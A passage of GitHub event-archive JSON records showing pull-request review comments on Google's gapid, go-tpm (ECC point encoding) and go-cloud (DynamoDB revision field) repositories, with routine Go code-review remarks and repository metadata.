yes","color":"e8b66d","default":false}],"milestone":null,"commits_url":"https://api.github.com/repos/google/gapid/pulls/2611/commits","review_comments_url":"https://api.github.com/repos/google/gapid/pulls/2611/comments","review_comment_url":"https://api.github.com/repos/google/gapid/pulls/comments{/number}","comments_url":"https://api.github.com/repos/google/gapid/issues/2611/comments","statuses_url":"https://api.github.com/repos/google/gapid/statuses/7f7b11669947a1a00451b1146ae716ad60e309ca","head":{"label":"pmuetschard:graphics_spy","ref":"graphics_spy","sha":"7f7b11669947a1a00451b1146ae716ad60e309ca","user":{"login":"pmuetschard","id":13356324,"node_id":"MDQ6VXNlcjEzMzU2MzI0","avatar_url":"https://avatars3.githubusercontent.com/u/13356324?v=4","gravatar_id":"","url":"https://api.github.com/users/pmuetschard","html_url":"https://github.com/pmuetschard","followers_url":"https://api.github.com/users/pmuetschard/followers","following_url":"https://api.github.com/users/pmuetschard/following{/other_user}","gists_url":"https://api.github.com/users/pmuetschard/gists{/gist_id}","starred_url":"https://api.github.com/users/pmuetschard/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pmuetschard/subscriptions","organizations_url":"https://api.github.com/users/pmuetschard/orgs","repos_url":"https://api.github.com/users/pmuetschard/repos","events_url":"https://api.github.com/users/pmuetschard/events{/privacy}","received_events_url":"https://api.github.com/users/pmuetschard/received_events","type":"User","site_admin":false},"repo":{"id":84091235,"node_id":"MDEwOlJlcG9zaXRvcnk4NDA5MTIzNQ==","name":"gapid","full_name":"pmuetschard/gapid","private":false,"owner":{"login":"pmuetschard","id":13356324,"node_id":"MDQ6VXNlcjEzMzU2MzI0","avatar_url":"https://avatars3.githubusercontent.com/u/13356324?v=4","gravatar_id":"","url":"https://api.github.com/users/pmuetschard","html_url":"https://github.com/pmuetschard","followers_url":"https://api.github.com/users/pmuetschard/followers","following_url":"https://api.github.com/users/pmuetschard/following{/other_user}","gists_url":"https://api.github.com/users/pmuetschard/gists{/gist_id}","starred_url":"https://api.github.com/users/pmuetschard/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pmuetschard/subscriptions","organizations_url":"https://api.github.com/users/pmuetschard/orgs","repos_url":"https://api.github.com/users/pmuetschard/repos","events_url":"https://api.github.com/users/pmuetschard/events{/privacy}","received_events_url":"https://api.github.com/users/pmuetschard/received_events","type":"User","site_admin":false},"html_url":"https://github.com/pmuetschard/gapid","description":"Graphics API Debugger","fork":true,"url":"https://api.github.com/repos/pmuetschard/gapid","forks_url":"https://api.github.com/repos/pmuetschard/gapid/forks","keys_url":"https://api.github.com/repos/pmuetschard/gapid/keys{/key_id}","collaborators_url":"https://api.github.com/repos/pmuetschard/gapid/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/pmuetschard/gapid/teams","hooks_url":"https://api.github.com/repos/pmuetschard/gapid/hooks","issue_events_url":"https://api.github.com/repos/pmuetschard/gapid/issues/events{/number}","events_url":"https://api.github.com/repos/pmuetschard/gapid/events","assignees_url":"https://api.github.com/repos/pmuetschard/gapid/assignees{/user}","branches_url":"https://api.github.com/repos/pmuetschard/gapid/branches{/branch}","tags_url":"https://api.github.com/repos/pmuetschard/gapid/tags","blobs_url":"https://api.github.com/repos/pmuetschard/gapid/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/pmuetschard/gapid/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/pmuetschard/gapid/git/refs{/sha}","trees_url":"https://api.github.com/repos/pmuetschard/gapid/git/trees{/sha}","statuses_url":"https://api.github.com/repos/pmuetschard/gapid/statuses/{sha}","languages_url":"https://api.github.com/repos/pmuetschard/gapid/languages","stargazers_url":"https://api.github.com/repos/pmuetschard/gapid/stargazers","contributors_url":"https://api.github.com/repos/pmuetschard/gapid/contributors","subscribers_url":"https://api.github.com/repos/pmuetschard/gapid/subscribers","subscription_url":"https://api.github.com/repos/pmuetschard/gapid/subscription","commits_url":"https://api.github.com/repos/pmuetschard/gapid/commits{/sha}","git_commits_url":"https://api.github.com/repos/pmuetschard/gapid/git/commits{/sha}","comments_url":"https://api.github.com/repos/pmuetschard/gapid/comments{/number}","issue_comment_url":"https://api.github.com/repos/pmuetschard/gapid/issues/comments{/number}","contents_url":"https://api.github.com/repos/pmuetschard/gapid/contents/{+path}","compare_url":"https://api.github.com/repos/pmuetschard/gapid/compare/{base}...{head}","merges_url":"https://api.github.com/repos/pmuetschard/gapid/merges","archive_url":"https://api.github.com/repos/pmuetschard/gapid/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/pmuetschard/gapid/downloads","issues_url":"https://api.github.com/repos/pmuetschard/gapid/issues{/number}","pulls_url":"https://api.github.com/repos/pmuetschard/gapid/pulls{/number}","milestones_url":"https://api.github.com/repos/pmuetschard/gapid/milestones{/number}","notifications_url":"https://api.github.com/repos/pmuetschard/gapid/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/pmuetschard/gapid/labels{/name}","releases_url":"https://api.github.com/repos/pmuetschard/gapid/releases{/id}","deployments_url":"https://api.github.com/repos/pmuetschard/gapid/deployments","created_at":"2017-03-06T15:46:55Z","updated_at":"2018-11-26T23:37:58Z","pushed_at":"2019-02-16T00:29:49Z","git_url":"git://github.com/pmuetschard/gapid.git","ssh_url":"git@github.com:pmuetschard/gapid.git","clone_url":"https://github.com/pmuetschard/gapid.git","svn_url":"https://github.com/pmuetschard/gapid","homepage":"","size":57883,"stargazers_count":0,"watchers_count":0,"language":"Go","has_issues":false,"has_projects":true,"has_downloads":false,"has_wiki":false,"has_pages":true,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"google:master","ref":"master","sha":"5f4620616cbea20dca03ecf0ea29dfcd824114e3","user":{"login":"google","id":1342004,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEzNDIwMDQ=","avatar_url":"https://avatars1.githubusercontent.com/u/1342004?v=4","gravatar_id":"","url":"https://api.github.com/users/google","html_url":"https://github.com/google","followers_url":"https://api.github.com/users/google/followers","following_url":"https://api.github.com/users/google/following{/other_user}","gists_url":"https://api.github.com/users/google/gists{/gist_id}","starred_url":"https://api.github.com/users/google/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/google/subscriptions","organizations_url":"https://api.github.com/users/google/orgs","repos_url":"https://api.github.com/users/google/repos","events_url":"https://api.github.com/users/google/events{/privacy}","received_events_url":"https://api.github.com/users/google/received_events","type":"Organization","site_admin":false},"repo":{"id":81937787,"node_id":"MDEwOlJlcG9zaXRvcnk4MTkzNzc4Nw==","name":"gapid","full_name":"google/gapid","private":false,"owner":{"login":"google","id":1342004,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEzNDIwMDQ=","avatar_url":"https://avatars1.githubusercontent.com/u/1342004?v=4","gravatar_id":"","url":"https://api.github.com/users/google","html_url":"https://github.com/google","followers_url":"https://api.github.com/users/google/followers","following_url":"https://api.github.com/users/google/following{/other_user}","gists_url":"https://api.github.com/users/google/gists{/gist_id}","starred_url":"https://api.github.com/users/google/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/google/subscriptions","organizations_url":"https://api.github.com/users/google/orgs","repos_url":"https://api.github.com/users/google/repos","events_url":"https://api.github.com/users/google/events{/privacy}","received_events_url":"https://api.github.com/users/google/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/google/gapid","description":"Graphics API Debugger","fork":false,"url":"https://api.github.com/repos/google/gapid","forks_url":"https://api.github.com/repos/google/gapid/forks","keys_url":"https://api.github.com/repos/google/gapid/keys{/key_id}","collaborators_url":"https://api.github.com/repos/google/gapid/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/google/gapid/teams","hooks_url":"https://api.github.com/repos/google/gapid/hooks","issue_events_url":"https://api.github.com/repos/google/gapid/issues/events{/number}","events_url":"https://api.github.com/repos/google/gapid/events","assignees_url":"https://api.github.com/repos/google/gapid/assignees{/user}","branches_url":"https://api.github.com/repos/google/gapid/branches{/branch}","tags_url":"https://api.github.com/repos/google/gapid/tags","blobs_url":"https://api.github.com/repos/google/gapid/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/google/gapid/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/google/gapid/git/refs{/sha}","trees_url":"https://api.github.com/repos/google/gapid/git/trees{/sha}","statuses_url":"https://api.github.com/repos/google/gapid/statuses/{sha}","languages_url":"https://api.github.com/repos/google/gapid/languages","stargazers_url":"https://api.github.com/repos/google/gapid/stargazers","contributors_url":"https://api.github.com/repos/google/gapid/contributors","subscribers_url":"https://api.github.com/repos/google/gapid/subscribers","subscription_url":"https://api.github.com/repos/google/gapid/subscription","commits_url":"https://api.github.com/repos/google/gapid/commits{/sha}","git_commits_url":"https://api.github.com/repos/google/gapid/git/commits{/sha}","comments_url":"https://api.github.com/repos/google/gapid/comments{/number}","issue_comment_url":"https://api.github.com/repos/google/gapid/issues/comments{/number}","contents_url":"https://api.github.com/repos/google/gapid/contents/{+path}","compare_url":"https://api.github.com/repos/google/gapid/compare/{base}...{head}","merges_url":"https://api.github.com/repos/google/gapid/merges","archive_url":"https://api.github.com/repos/google/gapid/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/google/gapid/downloads","issues_url":"https://api.github.com/repos/google/gapid/issues{/number}","pulls_url":"https://api.github.com/repos/google/gapid/pulls{/number}","milestones_url":"https://api.github.com/repos/google/gapid/milestones{/number}","notifications_url":"https://api.github.com/repos/google/gapid/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/google/gapid/labels{/name}","releases_url":"https://api.github.com/repos/google/gapid/releases{/id}","deployments_url":"https://api.github.com/repos/google/gapid/deployments","created_at":"2017-02-14T11:18:43Z","updated_at":"2019-02-27T07:09:32Z","pushed_at":"2019-02-27T12:27:10Z","git_url":"git://github.com/google/gapid.git","ssh_url":"git@github.com:google/gapid.git","clone_url":"https://github.com/google/gapid.git","svn_url":"https://github.com/google/gapid","homepage":"","size":72678,"stargazers_count":1067,"watchers_count":1067,"language":"Go","has_issues":true,"has_projects":true,"has_downloads":false,"has_wiki":false,"has_pages":true,"forks_count":179,"mirror_url":null,"archived":false,"open_issues_count":221,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":179,"open_issues":221,"watchers":1067,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/google/gapid/pulls/2611"},"html":{"href":"https://github.com/google/gapid/pull/2611"},"issue":{"href":"https://api.github.com/repos/google/gapid/issues/2611"},"comments":{"href":"https://api.github.com/repos/google/gapid/issues/2611/comments"},"review_comments":{"href":"https://api.github.com/repos/google/gapid/pulls/2611/comments"},"review_comment":{"href":"https://api.github.com/repos/google/gapid/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/google/gapid/pulls/2611/commits"},"statuses":{"href":"https://api.github.com/repos/google/gapid/statuses/7f7b11669947a1a00451b1146ae716ad60e309ca"}},"author_association":"MEMBER"}}
|
{
"id": 81937787,
"name": "google/gapid",
"url": "https://api.github.com/repos/google/gapid"
}
|
{
"id": 13356324,
"login": "pmuetschard",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/13356324?",
"url": "https://api.github.com/users/pmuetschard"
}
|
{
"id": 1342004,
"login": "google",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1342004?",
"url": "https://api.github.com/orgs/google"
}
| 2019-02-27T15:41:08 |
9147703703
|
{"actor":{"display_login":"pmuetschard"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/google/go-tpm/pulls/comments/306966073","pull_request_review_id":266215839,"id":306966073,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDMwNjk2NjA3Mw==","diff_hunk":"@@ -295,8 +289,7 @@ func (p *ECCParams) encode() ([]byte, error) {\n \tif err != nil {\n \t\treturn nil, fmt.Errorf(\"encoding KDF: %v\", err)\n \t}\n-\tx, y := p.Point.x().Bytes(), p.Point.y().Bytes()\n-\tpoint, err := tpmutil.Pack(tpmutil.U16Bytes(x), tpmutil.U16Bytes(y))\n+\tpoint, err := tpmutil.Pack(tpmutil.U16Bytes(p.Point.XRaw), tpmutil.U16Bytes(p.Point.YRaw))","path":"tpm2/structures.go","position":47,"original_position":47,"commit_id":"e158abd799c4a6f149a44bc3dff5f72216a7afa6","original_commit_id":"e158abd799c4a6f149a44bc3dff5f72216a7afa6","user":{"login":"josephlr","id":5506060,"node_id":"MDQ6VXNlcjU1MDYwNjA=","avatar_url":"https://avatars3.githubusercontent.com/u/5506060?v=4","gravatar_id":"","url":"https://api.github.com/users/josephlr","html_url":"https://github.com/josephlr","followers_url":"https://api.github.com/users/josephlr/followers","following_url":"https://api.github.com/users/josephlr/following{/other_user}","gists_url":"https://api.github.com/users/josephlr/gists{/gist_id}","starred_url":"https://api.github.com/users/josephlr/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/josephlr/subscriptions","organizations_url":"https://api.github.com/users/josephlr/orgs","repos_url":"https://api.github.com/users/josephlr/repos","events_url":"https://api.github.com/users/josephlr/events{/privacy}","received_events_url":"https://api.github.com/users/josephlr/received_events","type":"User","site_admin":false},"body":"`tpmutil.U16Bytes` isn't needed here (as that's already the type of `p.Point.XRaw`.\r\n\r\n`tpmutil.Pack(p.Point.XRaw, p.Point.YRaw)` should work.","created_at":"2019-07-24T18:47:24Z","updated_at":"2019-07-24T18:49:25Z","html_url":"https://github.com/google/go-tpm/pull/118#discussion_r306966073","pull_request_url":"https://api.github.com/repos/google/go-tpm/pulls/118","author_association":"MEMBER","_links":{"self":{"href":"https://api.github.com/repos/google/go-tpm/pulls/comments/306966073"},"html":{"href":"https://github.com/google/go-tpm/pull/118#discussion_r306966073"},"pull_request":{"href":"https://api.github.com/repos/google/go-tpm/pulls/118"}}},"pull_request":{"url":"https://api.github.com/repos/google/go-tpm/pulls/118","id":300495430,"node_id":"MDExOlB1bGxSZXF1ZXN0MzAwNDk1NDMw","html_url":"https://github.com/google/go-tpm/pull/118","diff_url":"https://github.com/google/go-tpm/pull/118.diff","patch_url":"https://github.com/google/go-tpm/pull/118.patch","issue_url":"https://api.github.com/repos/google/go-tpm/issues/118","number":118,"state":"open","locked":false,"title":"Update ECPoint type","user":{"login":"lulumel0n","id":14238798,"node_id":"MDQ6VXNlcjE0MjM4Nzk4","avatar_url":"https://avatars3.githubusercontent.com/u/14238798?v=4","gravatar_id":"","url":"https://api.github.com/users/lulumel0n","html_url":"https://github.com/lulumel0n","followers_url":"https://api.github.com/users/lulumel0n/followers","following_url":"https://api.github.com/users/lulumel0n/following{/other_user}","gists_url":"https://api.github.com/users/lulumel0n/gists{/gist_id}","starred_url":"https://api.github.com/users/lulumel0n/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lulumel0n/subscriptions","organizations_url":"https://api.github.com/users/lulumel0n/orgs","repos_url":"https://api.github.com/users/lulumel0n/repos","events_url":"https://api.github.com/users/lulumel0n/events{/privacy}","received_events_url":"https://api.github.com/users/lulumel0n/received_events","type":"User","site_admin":false},"body":"Per https://github.com/google/go-tpm/issues/115\r\nAllow the ECCParams to supply buffers as X and Y for the Point field, in order to comply with the Default ECC EK Public Area Template.\r\n\r\nWhen needed, the buffer will be converted to Int.\r\n\r\nThis change is not backward compatible, existing tests/code using ECPoint will need to be updated.","created_at":"2019-07-23T22:32:17Z","updated_at":"2019-07-24T18:49:25Z","closed_at":null,"merged_at":null,"merge_commit_sha":"cf2b4a871bf6a80320671b2939fc43b7185a960b","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/google/go-tpm/pulls/118/commits","review_comments_url":"https://api.github.com/repos/google/go-tpm/pulls/118/comments","review_comment_url":"https://api.github.com/repos/google/go-tpm/pulls/comments{/number}","comments_url":"https://api.github.com/repos/google/go-tpm/issues/118/comments","statuses_url":"https://api.github.com/repos/google/go-tpm/statuses/e158abd799c4a6f149a44bc3dff5f72216a7afa6","head":{"label":"lulumel0n:ecc_point","ref":"ecc_point","sha":"e158abd799c4a6f149a44bc3dff5f72216a7afa6","user":{"login":"lulumel0n","id":14238798,"node_id":"MDQ6VXNlcjE0MjM4Nzk4","avatar_url":"https://avatars3.githubusercontent.com/u/14238798?v=4","gravatar_id":"","url":"https://api.github.com/users/lulumel0n","html_url":"https://github.com/lulumel0n","followers_url":"https://api.github.com/users/lulumel0n/followers","following_url":"https://api.github.com/users/lulumel0n/following{/other_user}","gists_url":"https://api.github.com/users/lulumel0n/gists{/gist_id}","starred_url":"https://api.github.com/users/lulumel0n/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lulumel0n/subscriptions","organizations_url":"https://api.github.com/users/lulumel0n/orgs","repos_url":"https://api.github.com/users/lulumel0n/repos","events_url":"https://api.github.com/users/lulumel0n/events{/privacy}","received_events_url":"https://api.github.com/users/lulumel0n/received_events","type":"User","site_admin":false},"repo":{"id":198504737,"node_id":"MDEwOlJlcG9zaXRvcnkxOTg1MDQ3Mzc=","name":"go-tpm","full_name":"lulumel0n/go-tpm","private":false,"owner":{"login":"lulumel0n","id":14238798,"node_id":"MDQ6VXNlcjE0MjM4Nzk4","avatar_url":"https://avatars3.githubusercontent.com/u/14238798?v=4","gravatar_id":"","url":"https://api.github.com/users/lulumel0n","html_url":"https://github.com/lulumel0n","followers_url":"https://api.github.com/users/lulumel0n/followers","following_url":"https://api.github.com/users/lulumel0n/following{/other_user}","gists_url":"https://api.github.com/users/lulumel0n/gists{/gist_id}","starred_url":"https://api.github.com/users/lulumel0n/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lulumel0n/subscriptions","organizations_url":"https://api.github.com/users/lulumel0n/orgs","repos_url":"https://api.github.com/users/lulumel0n/repos","events_url":"https://api.github.com/users/lulumel0n/events{/privacy}","received_events_url":"https://api.github.com/users/lulumel0n/received_events","type":"User","site_admin":false},"html_url":"https://github.com/lulumel0n/go-tpm","description":null,"fork":true,"url":"https://api.github.com/repos/lulumel0n/go-tpm","forks_url":"https://api.github.com/repos/lulumel0n/go-tpm/forks","keys_url":"https://api.github.com/repos/lulumel0n/go-tpm/keys{/key_id}","collaborators_url":"https://api.github.com/repos/lulumel0n/go-tpm/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/lulumel0n/go-tpm/teams","hooks_url":"https://api.github.com/repos/lulumel0n/go-tpm/hooks","issue_events_url":"https://api.github.com/repos/lulumel0n/go-tpm/issues/events{/number}","events_url":"https://api.github.com/repos/lulumel0n/go-tpm/events","assignees_url":"https://api.github.com/repos/lulumel0n/go-tpm/assignees{/user}","branches_url":"https://api.github.com/repos/lulumel0n/go-tpm/branches{/branch}","tags_url":"https://api.github.com/repos/lulumel0n/go-tpm/tags","blobs_url":"https://api.github.com/repos/lulumel0n/go-tpm/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/lulumel0n/go-tpm/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/lulumel0n/go-tpm/git/refs{/sha}","trees_url":"https://api.github.com/repos/lulumel0n/go-tpm/git/trees{/sha}","statuses_url":"https://api.github.com/repos/lulumel0n/go-tpm/statuses/{sha}","languages_url":"https://api.github.com/repos/lulumel0n/go-tpm/languages","stargazers_url":"https://api.github.com/repos/lulumel0n/go-tpm/stargazers","contributors_url":"https://api.github.com/repos/lulumel0n/go-tpm/contributors","subscribers_url":"https://api.github.com/repos/lulumel0n/go-tpm/subscribers","subscription_url":"https://api.github.com/repos/lulumel0n/go-tpm/subscription","commits_url":"https://api.github.com/repos/lulumel0n/go-tpm/commits{/sha}","git_commits_url":"https://api.github.com/repos/lulumel0n/go-tpm/git/commits{/sha}","comments_url":"https://api.github.com/repos/lulumel0n/go-tpm/comments{/number}","issue_comment_url":"https://api.github.com/repos/lulumel0n/go-tpm/issues/comments{/number}","contents_url":"https://api.github.com/repos/lulumel0n/go-tpm/contents/{+path}","compare_url":"https://api.github.com/repos/lulumel0n/go-tpm/compare/{base}...{head}","merges_url":"https://api.github.com/repos/lulumel0n/go-tpm/merges","archive_url":"https://api.github.com/repos/lulumel0n/go-tpm/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/lulumel0n/go-tpm/downloads","issues_url":"https://api.github.com/repos/lulumel0n/go-tpm/issues{/number}","pulls_url":"https://api.github.com/repos/lulumel0n/go-tpm/pulls{/number}","milestones_url":"https://api.github.com/repos/lulumel0n/go-tpm/milestones{/number}","notifications_url":"https://api.github.com/repos/lulumel0n/go-tpm/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/lulumel0n/go-tpm/labels{/name}","releases_url":"https://api.github.com/repos/lulumel0n/go-tpm/releases{/id}","deployments_url":"https://api.github.com/repos/lulumel0n/go-tpm/deployments","created_at":"2019-07-23T20:37:20Z","updated_at":"2019-07-23T20:37:23Z","pushed_at":"2019-07-24T18:23:07Z","git_url":"git://github.com/lulumel0n/go-tpm.git","ssh_url":"git@github.com:lulumel0n/go-tpm.git","clone_url":"https://github.com/lulumel0n/go-tpm.git","svn_url":"https://github.com/lulumel0n/go-tpm","homepage":null,"size":4915,"stargazers_count":0,"watchers_count":0,"language":"Go","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"google:master","ref":"master","sha":"cef36285afe71147946e92ea60c03608821d1242","user":{"login":"google","id":1342004,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEzNDIwMDQ=","avatar_url":"https://avatars1.githubusercontent.com/u/1342004?v=4","gravatar_id":"","url":"https://api.github.com/users/google","html_url":"https://github.com/google","followers_url":"https://api.github.com/users/google/followers","following_url":"https://api.github.com/users/google/following{/other_user}","gists_url":"https://api.github.com/users/google/gists{/gist_id}","starred_url":"https://api.github.com/users/google/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/google/subscriptions","organizations_url":"https://api.github.com/users/google/orgs","repos_url":"https://api.github.com/users/google/repos","events_url":"https://api.github.com/users/google/events{/privacy}","received_events_url":"https://api.github.com/users/google/received_events","type":"Organization","site_admin":false},"repo":{"id":22929140,"node_id":"MDEwOlJlcG9zaXRvcnkyMjkyOTE0MA==","name":"go-tpm","full_name":"google/go-tpm","private":false,"owner":{"login":"google","id":1342004,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEzNDIwMDQ=","avatar_url":"https://avatars1.githubusercontent.com/u/1342004?v=4","gravatar_id":"","url":"https://api.github.com/users/google","html_url":"https://github.com/google","followers_url":"https://api.github.com/users/google/followers","following_url":"https://api.github.com/users/google/following{/other_user}","gists_url":"https://api.github.com/users/google/gists{/gist_id}","starred_url":"https://api.github.com/users/google/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/google/subscriptions","organizations_url":"https://api.github.com/users/google/orgs","repos_url":"https://api.github.com/users/google/repos","events_url":"https://api.github.com/users/google/events{/privacy}","received_events_url":"https://api.github.com/users/google/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/google/go-tpm","description":null,"fork":false,"url":"https://api.github.com/repos/google/go-tpm","forks_url":"https://api.github.com/repos/google/go-tpm/forks","keys_url":"https://api.github.com/repos/google/go-tpm/keys{/key_id}","collaborators_url":"https://api.github.com/repos/google/go-tpm/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/google/go-tpm/teams","hooks_url":"https://api.github.com/repos/google/go-tpm/hooks","issue_events_url":"https://api.github.com/repos/google/go-tpm/issues/events{/number}","events_url":"https://api.github.com/repos/google/go-tpm/events","assignees_url":"https://api.github.com/repos/google/go-tpm/assignees{/user}","branches_url":"https://api.github.com/repos/google/go-tpm/branches{/branch}","tags_url":"https://api.github.com/repos/google/go-tpm/tags","blobs_url":"https://api.github.com/repos/google/go-tpm/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/google/go-tpm/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/google/go-tpm/git/refs{/sha}","trees_url":"https://api.github.com/repos/google/go-tpm/git/trees{/sha}","statuses_url":"https://api.github.com/repos/google/go-tpm/statuses/{sha}","languages_url":"https://api.github.com/repos/google/go-tpm/languages","stargazers_url":"https://api.github.com/repos/google/go-tpm/stargazers","contributors_url":"https://api.github.com/repos/google/go-tpm/contributors","subscribers_url":"https://api.github.com/repos/google/go-tpm/subscribers","subscription_url":"https://api.github.com/repos/google/go-tpm/subscription","commits_url":"https://api.github.com/repos/google/go-tpm/commits{/sha}","git_commits_url":"https://api.github.com/repos/google/go-tpm/git/commits{/sha}","comments_url":"https://api.github.com/repos/google/go-tpm/comments{/number}","issue_comment_url":"https://api.github.com/repos/google/go-tpm/issues/comments{/number}","contents_url":"https://api.github.com/repos/google/go-tpm/contents/{+path}","compare_url":"https://api.github.com/repos/google/go-tpm/compare/{base}...{head}","merges_url":"https://api.github.com/repos/google/go-tpm/merges","archive_url":"https://api.github.com/repos/google/go-tpm/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/google/go-tpm/downloads","issues_url":"https://api.github.com/repos/google/go-tpm/issues{/number}","pulls_url":"https://api.github.com/repos/google/go-tpm/pulls{/number}","milestones_url":"https://api.github.com/repos/google/go-tpm/milestones{/number}","notifications_url":"https://api.github.com/repos/google/go-tpm/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/google/go-tpm/labels{/name}","releases_url":"https://api.github.com/repos/google/go-tpm/releases{/id}","deployments_url":"https://api.github.com/repos/google/go-tpm/deployments","created_at":"2014-08-13T19:53:34Z","updated_at":"2019-07-24T05:42:18Z","pushed_at":"2019-07-24T18:23:09Z","git_url":"git://github.com/google/go-tpm.git","ssh_url":"git@github.com:google/go-tpm.git","clone_url":"https://github.com/google/go-tpm.git","svn_url":"https://github.com/google/go-tpm","homepage":null,"size":4901,"stargazers_count":199,"watchers_count":199,"language":"Go","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":64,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":14,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":64,"open_issues":14,"watchers":199,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/google/go-tpm/pulls/118"},"html":{"href":"https://github.com/google/go-tpm/pull/118"},"issue":{"href":"https://api.github.com/repos/google/go-tpm/issues/118"},"comments":{"href":"https://api.github.com/repos/google/go-tpm/issues/118/comments"},"review_comments":{"href":"https://api.github.com/repos/google/go-tpm/pulls/118/comments"},"review_comment":{"href":"https://api.github.com/repos/google/go-tpm/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/google/go-tpm/pulls/118/commits"},"statuses":{"href":"https://api.github.com/repos/google/go-tpm/statuses/e158abd799c4a6f149a44bc3dff5f72216a7afa6"}},"author_association":"NONE"}}
|
{
"id": 22929140,
"name": "google/go-tpm",
"url": "https://api.github.com/repos/google/go-tpm"
}
|
{
"id": 5506060,
"login": "josephlr",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/5506060?",
"url": "https://api.github.com/users/josephlr"
}
|
{
"id": 1342004,
"login": "google",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1342004?",
"url": "https://api.github.com/orgs/google"
}
| 2019-07-24T18:47:24 |
10077473441
|
{"actor":{"display_login":"josephlr"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/google/go-cloud/pulls/comments/302468976","pull_request_review_id":260598704,"id":302468976,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDMwMjQ2ODk3Ng==","diff_hunk":"@@ -349,9 +349,12 @@ func (c *collection) newPut(a *driver.Action, opts *driver.RunActionsOptions) (*\n \t\t// It doesn't make sense to generate a random sort key.\n \t\treturn nil, fmt.Errorf(\"missing sort key %q\", c.sortKey)\n \t}\n-\trev := driver.UniqueString()\n-\tif av.M[c.opts.RevisionField], err = encodeValue(rev); err != nil {\n-\t\treturn nil, err\n+\tvar rev string\n+\tif a.Doc.RevisionOn(c.RevisionField()) {","path":"docstore/awsdynamodb/dynamo.go","position":8,"original_position":8,"commit_id":"8d0157d9a2feaf02a46b4e337d21f54d0c7cc5c5","original_commit_id":"8d0157d9a2feaf02a46b4e337d21f54d0c7cc5c5","user":{"login":"jba","id":18483045,"node_id":"MDQ6VXNlcjE4NDgzMDQ1","avatar_url":"https://avatars1.githubusercontent.com/u/18483045?v=4","gravatar_id":"","url":"https://api.github.com/users/jba","html_url":"https://github.com/jba","followers_url":"https://api.github.com/users/jba/followers","following_url":"https://api.github.com/users/jba/following{/other_user}","gists_url":"https://api.github.com/users/jba/gists{/gist_id}","starred_url":"https://api.github.com/users/jba/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jba/subscriptions","organizations_url":"https://api.github.com/users/jba/orgs","repos_url":"https://api.github.com/users/jba/repos","events_url":"https://api.github.com/users/jba/events{/privacy}","received_events_url":"https://api.github.com/users/jba/received_events","type":"User","site_admin":false},"body":"Why `c.RevisionField()` here but `c.opts.RevisionField` just 